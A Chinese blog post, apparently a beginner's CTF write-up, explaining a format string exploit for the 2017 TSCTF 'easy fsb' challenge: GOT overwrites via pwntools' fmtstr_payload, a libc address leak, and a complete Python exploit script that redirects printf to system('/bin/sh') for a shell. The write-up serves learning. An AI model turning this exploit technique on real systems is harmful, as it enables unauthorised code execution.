• pwn学习之二


      刚刚开始学习pwn,记录一下自己学习的过程。

      今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell。

      打开ida查看:

      

      程序逻辑就是执行getname()函数。

      进入getname()函数:

      

      逻辑就是往buf里面写数据然后printf出来,这里由于printf()函数直接调用了buf作为参数,所以存在格式化字符串漏洞。

      格式化字符串漏洞介绍:http://www.cnblogs.com/Ox9A82/p/5429099.html,http://blog.csdn.net/prettyday/article/details/50366608。

      本题漏洞利用方法:首先第一轮将exit函数的got表修改成main函数的地址从而让程序能够循环运行,

                  接着第二轮将__libc_start_main函数在内存中的地址找出,通过给的so文件计算出system函数地址,

                第三轮将printf函数的got表更改为system函数的地址,

                  最后一轮输入'/bin/shx00',实际是运行了system('/bin/sh'),最终拿到了shell。

      通过gdb查看,由于本题未使用保护措施,可以直接通过ida读取到地址(linux加载器分配虚拟页的一个连续的片从0x08048000开始,也就是说elf程序的默认起始地址为0x08048000,之前一直不懂为什么加载前后地址是固定的^_^¦¦¦),设置断点在存在格式化字符串漏洞的printf位置处,本题为b *0x08048629,然后r运行,输入AAAA,再通过stack 10来查看当前栈:

    可以看出输入值在栈顶偏移7的位置。

    可以通过pwntools中的fmtstr模块来快速生成payload,如要将exit_got表的地址改为main函数的地址:

     main_addr = 0x8048648

     exit_got = 0x804a024

     fmtstr_payload(7,{exit_got:main_addr})

    这样就生成了

    这样的payload,什么意思呢:

    首先,我们知道字符串存在栈中偏移为7的位置,所以这个payload首先在偏移为7的位置写下了0804a024,偏移为8的位置写着0804a025,同理到偏移为10的地址写着0804a027,其实这就是exit_got表的地址所占的4个字节,%x$hhn是将前面的字符个数作为值存入到偏移为x的地方写的地址中,比如这里%7$hhn就会把前面的字符个数作为值写入0804a024这个地址处,所以这里是把56+16存入0804a024中,把56+16+62存入0804a025中,把56+16+62+126存入0804a026中,把56+16+62+126+4存入0804a027中,这里注意:最高是255所以超过的其实是值-256存入,其实这里就是把48,86,04,08分别存入0804a024到0804a027中。

    改完了,就能让程序在结束时循环到开始处,然后就是通过so文件和__libc_start_main函数的真实地址找出system函数的真实地址,通过ida可以找到__libc_start_main函数的got表地址是0804A028,它的真实地址就是0804A028地址处存着的值,可以通过构造payload:x28xa0x04x08%7$s来获得,然后根据so文件中__libc_start_main函数和system函数的间隔通过__libc_start_main函数真实地址-so文件中的__libc_start_main函数地址+so文件中的system函数地址即可得到system函数的真实地址。

    第三次执行,将得到的system函数的真实地址写入printf函数的got表中,方法同第一步。

    最后一次执行,运行到printf函数传参数时,实际上是给system函数传入参数,所以传入/bin/sh即可执行system('/bin/sh')从而拿到shell。

    fsbpwn.py

     1 from pwn import *
     2 #init
     3 debug = 0
     4 if debug:
     5     io = process('./fsb')
     6 else:
     7     io = remote('127.0.0.1',2336)
     8 
     9 context.log_level = 'debug'
    10 
    11 if debug:
    12     gdb.attach(pidof('fsb')[-1],open('aa'))
    13 #-------------------------------------------------
    14 main_addr = 0x8048648
    15 exit_got = 0x804a024
    16 
    17 io.recvuntil("Welcome~
    ")
    18 payload1 = fmtstr_payload(7,{exit_got:main_addr})
    19 io.sendline(payload1)
    20 
    21 #-------------------------------------------------
    22 libc_path = './libc-32.so'
    23 libc = ELF(libc_path)
    24 libc_start_main_got = 0x804A028
    25 io.recvuntil("Welcome~
    ")
    26 io.sendline(p32(libc_start_main_got)+'%7$s')
    27 libc_start_main = u32(io.recv(8)[4:8])
    28 
    29 print libc_start_main
    30 system_addr = libc_start_main - libc.symbols['__libc_start_main'] + libc.symbols['system']
    31 print 'system_addr = ' + hex(system_addr)
    32 
    33 #-------------------------------------------------
    34 printf_got = 0x804a014
    35 io.recvuntil("Welcome~
    ")
    36 
    37 payload2 = fmtstr_payload(7,{printf_got:system_addr})
    38 io.sendline(payload2)
    39 
    40 #-------------------------------------------------
    41 io.recvuntil("Welcome~
    ")
    42 io.sendline("/bin/sh")
    43 
    44 io.interactive()

    pwn题目可用:socat tcp4-listen:2336,fork exec:./pwn1挂载,然后通过nc ip 2336去访问

    fsb下载地址:https://files.cnblogs.com/files/lllkh/pwn1.rar

  • 相关阅读:
    leetcode35. search Insert Position
    leetcode26.Remove Duplicates from Sorted Array
    leetcode46.Permutation & leetcode47.Permutation II
    leetcode.5 Longest Palindromic Substring
    [转载] C++中new和malloc的区别
    [转载] C++中的自由存储区和堆
    xCode8以及iOS10 的新特性
    cell上添加倒计时,以及时差问题的解决
    cell的复用机制
    iOS 懒加载模式
  • 原文地址:https://www.cnblogs.com/lllkh/p/7124249.html
Copyright © 2020-2023  润新知